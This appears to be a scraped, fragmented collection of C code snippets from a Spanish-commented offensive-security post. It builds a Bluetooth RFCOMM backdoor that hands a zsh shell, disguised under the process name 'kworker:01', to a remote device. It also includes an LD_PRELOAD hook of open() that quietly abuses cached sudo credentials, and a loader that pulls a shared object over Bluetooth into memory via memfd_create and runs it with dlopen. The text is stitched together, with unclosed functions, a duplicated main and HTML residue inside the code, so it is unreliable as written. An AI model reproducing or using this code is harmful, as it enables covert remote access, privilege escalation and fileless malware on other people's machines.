int connect_client(char *address) {
struct sockaddr_rc addr = {0};
int s, client;
s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
addr.rc_family = AF_BLUETOOTH;
addr.rc_channel = (uint8_t) 1;
str2ba(address, &addr.rc_bdaddr);
client = connect(s, (struct sockaddr*)&addr, sizeof(addr));
if (client < 0) {
fprintf(stderr, "[zxsq-anti-bbcode--] Error: could not connect to targetn");
return 0;
}
write(s, BANNER, strlen(BANNER));
return 1;
}
int main (int argc, char **argv) {
inquiry_info *ii = NULL;
int max_rsp, num_rsp;
int dev_id, sock, len, flags, i;
char addr[zxsq-anti-bbcode-19] = {0};
char name[zxsq-anti-bbcode-248] = {0};
// Utilizamos el primer bluetooth disponible
dev_id = hci_get_route(NULL);
sock = hci_open_dev(dev_id);
if (dev_id < 0 || sock < 0) {
fprintf(stderr, "[zxsq-anti-bbcode--] Error opening socketn");
exit(EXIT_FAILURE);
}
len = 8;
max_rsp = 255;
// Limpiamos los dispositivos que puedan estar cacheados anteriormente
flags = IREQ_CACHE_FLUSH;
ii = (inquiry_info*) malloc(max_rsp * sizeof(inquiry_info));
// Escribimos un mensaje al cliente que se ha conectado
write(client, BANNER, strlen(BANNER));
dup2(client, 0);
dup2(client, 1);
dup2(client,2);
//A partir de aquí empieza la magia
struct termios terminal;
int terminalfd, n = 0;
pid_t pid;
char input[zxsq-anti-bbcode-1024];
char output[zxsq-anti-bbcode-1024];
// Creamos un nuevo proceso hijo que operará en un pseudoterminal
pid = forkpty(&terminalfd, NULL, NULL, NULL);
if (pid < 0) {
fprintf(stderr, "[zxsq-anti-bbcode--] Error: could not forkn");
exit(EXIT_FAILURE);
}
else if (pid == 0) { // Estamos en el proceso hijo que tiene el PTY
execlp("/bin/zsh", "[zxsq-anti-bbcode-kworker:01]", NULL);
}
else { // Proceso padre
// Atributos: sin ECHO
tcgetattr(terminalfd, &terminal);
terminal.c_lflag &= ~ECHO;
tcsetattr(terminalfd, TCSANOW, &terminal);
// Utilizaremos select para comprobar si hay datos y enviarlos en un sentido u otro
fd_set readfd;
for(;;) {
FD_ZERO(&readfd);
FD_SET(terminalfd, &readfd); // Si terminalfd tiene datos
FD_SET(1, &readfd); // Si el socket tiene datos
select(terminalfd + 1, &readfd, NULL, NULL, NULL);
if (FD_ISSET(terminalfd, &readfd)) { // Hay datos desde el proceso hijo
n = read(terminalfd, &output, 1024);
if (n <= 0) { write(2, "[zxsq-anti-bbcode-+] Shell is dead. Closing connection!nn", strlen("[zxsq-anti-bbcode-+] Shell is dead. Closing connection!nn")); break; } write(2, output, n); // Los mandamos por el socket memset(&output, 0, 1024); } if (FD_ISSET(1, &readfd)) { // Hay datos en el socket memset(&input, 0, 1024); n = read(1, &input, 1024); if (n > 0) {
write(terminalfd, input, n); // Los escribimos en el STDIN del proceso hijo
}
}
}
int open(const char *pathname, int flags, ...){ // A modo de ejemplo "hookearemos" open()
orig_open_f_type orig_open;
pid_t pid, extrapid;
int empty, exitcode;
orig_open = (orig_open_f_type) dlsym(RTLD_NEXT, "open"); // Guardamos una referencia a la función open original
pid = fork(); // Nos forkeamos para comprobar si sudo se encuentra cacheado o no
if (pid == 0) { //Si estamos en el hijo...
empty = orig_open("/dev/null", O_WRONLY);
dup2(empty, STDERR_FILENO); // ...silenciamos cualquier error...
execlp("sudo", "sudo", "-n", "true", NULL);// ...y ejecutamos sudo
exit(-1);
} else { // Estamos en el padre...
wait(&exitcode);
if (WIFEXITED(exitcode) && WEXITSTATUS(exitcode) == 0) {
if (exitcode == 0){ // Si todo ha ido bien y hemos podido ejecutar sudo...
extrapid = fork(); //Nos forkeamos para dejar fluir el programa
if (extrapid == 0) {
printf("It worked!n"); // Y ejecutamos lo que queramos
execlp("sudo", "sudo", "id", NULL);
}
}
}
}
return orig_open(pathname, flags); // Llamamos al open() original y devolvemos el resultado
}
// Wrapper to call memfd_create syscall
static inline int memfd_create(const char *name, unsigned int flags) {
return syscall(__NR_memfd_create, name, flags);
}
// Detect if kernel is < or => than 3.17
// Ugly as hell, probably I was drunk when I coded it
int kernel_version() {
struct utsname buffer;
uname(&buffer);
char *token;
char *separator = ".";
token = strtok(buffer.release, separator);
if (atoi(token) < 3) { return 0; } else if (atoi(token) > 3){
return 1;
}
// Returns a file descriptor where we can write our shared object
int open_ramfs(void) {
int shm_fd;
//If we have a kernel < 3.17
// We need to use the less fancy way
if (kernel_version() == 0) {
shm_fd = shm_open(SHM_NAME, O_RDWR | O_CREAT, S_IRWXU);
if (shm_fd < 0) { //Something went wrong <img draggable="false" class="emoji" alt="🙁" src="https://s.w.org/images/core/emoji/2.3/svg/1f641.svg"> fprintf(stderr, "[zxsq-anti-bbcode--] Could not open file descriptorn"); exit(-1); } } // If we have a kernel >= 3.17
// We can use the funky style
else {
shm_fd = memfd_create(SHM_NAME, 1);
if (shm_fd < 0) { //Something went wrong <img draggable="false" class="emoji" alt="🙁" src="https://s.w.org/images/core/emoji/2.3/svg/1f641.svg">
fprintf(stderr, "[- Could not open file descriptorn");
exit(-1);
}
}
return shm_fd;
}
printf("[zxsq-anti-bbcode-+] Trying to load Shared Object!n");
if (kernel_version() == 1) { //Funky way
snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);
} else { // Not funky way <img draggable="false" class="emoji" alt="🙁" src="https://s.w.org/images/core/emoji/2.3/svg/1f641.svg">
close(shm_fd);
snprintf(path, 1024, "/dev/shm/%s", SHM_NAME);
}
handle = dlopen(path, RTLD_LAZY);
if (!handle) {
fprintf(stderr,"[zxsq-anti-bbcode--] Dlopen failed with error: %sn", dlerror());
}
}
//Connect to client, read module and write to RAM
int download_to_RAM(char *address) {
struct sockaddr_rc addr = {0};
char recvBuff[zxsq-anti-bbcode-2048];
int s, client, fd, size;
int main (int argc, char **argv) {
int fd;
inquiry_info *ii = NULL;
int max_rsp, num_rsp;
int dev_id, sock, len, flags, i;
char addr[zxsq-anti-bbcode-19] = {0};
char name[zxsq-anti-bbcode-248] = {0};
// Utilizamos el primer bluetooth disponible
dev_id = hci_get_route(NULL);
sock = hci_open_dev(dev_id);
if (dev_id < 0 || sock < 0) {
fprintf(stderr, "[zxsq-anti-bbcode--] Error opening socketn");
exit(EXIT_FAILURE);
}
len = 8;
max_rsp = 255;
// Limpiamos los dispositivos que puedan estar cacheados anteriormente
flags = IREQ_CACHE_FLUSH;
ii = (inquiry_info*) malloc(max_rsp * sizeof(inquiry_info));